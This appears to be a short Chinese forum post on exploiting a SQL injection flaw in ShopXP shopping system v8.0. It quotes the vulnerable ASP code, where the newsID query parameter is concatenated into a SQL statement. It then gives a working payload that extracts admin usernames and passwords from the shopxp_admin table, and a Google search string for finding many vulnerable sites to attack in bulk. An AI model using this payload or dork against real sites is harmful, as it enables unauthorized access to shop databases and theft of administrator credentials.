SHOPXP网上购物系统 v8.0 注入漏洞利用

上次说了SHOPXP网上购物系统 7.4的注入漏洞   跟新了，看看8.0的

商城系统差不多都是互相抄的。漏洞和网趣的那个一样，不过人家加了一个枫叶的防注入，没什么用处。

在TEXTBOX2.ASP TEXTBOX3.ASP页面的newsid变量为判断

 

复制代码

1. Action=LCase(Request.QueryString("Action"))
2. newsID=Request.QueryString("newsID")
4. If request("action")="modify" Then
5. set rs=server.createobject("adodb.recordset")
6. sql="select * from shopxp_news where newsid="&newsid
7. rs.open sql,conn,1,1
8.      If Not rs.Eof Then
9.          Content=rs("newscontent")
10.      End If
11.      Response.Write Content
12. End If

构造URL注入即可。

exp:

,2,admin%2bpassword,4,5,6,7%20from%20shopxp_admin

批量

google:inurl:shopxp_news.asp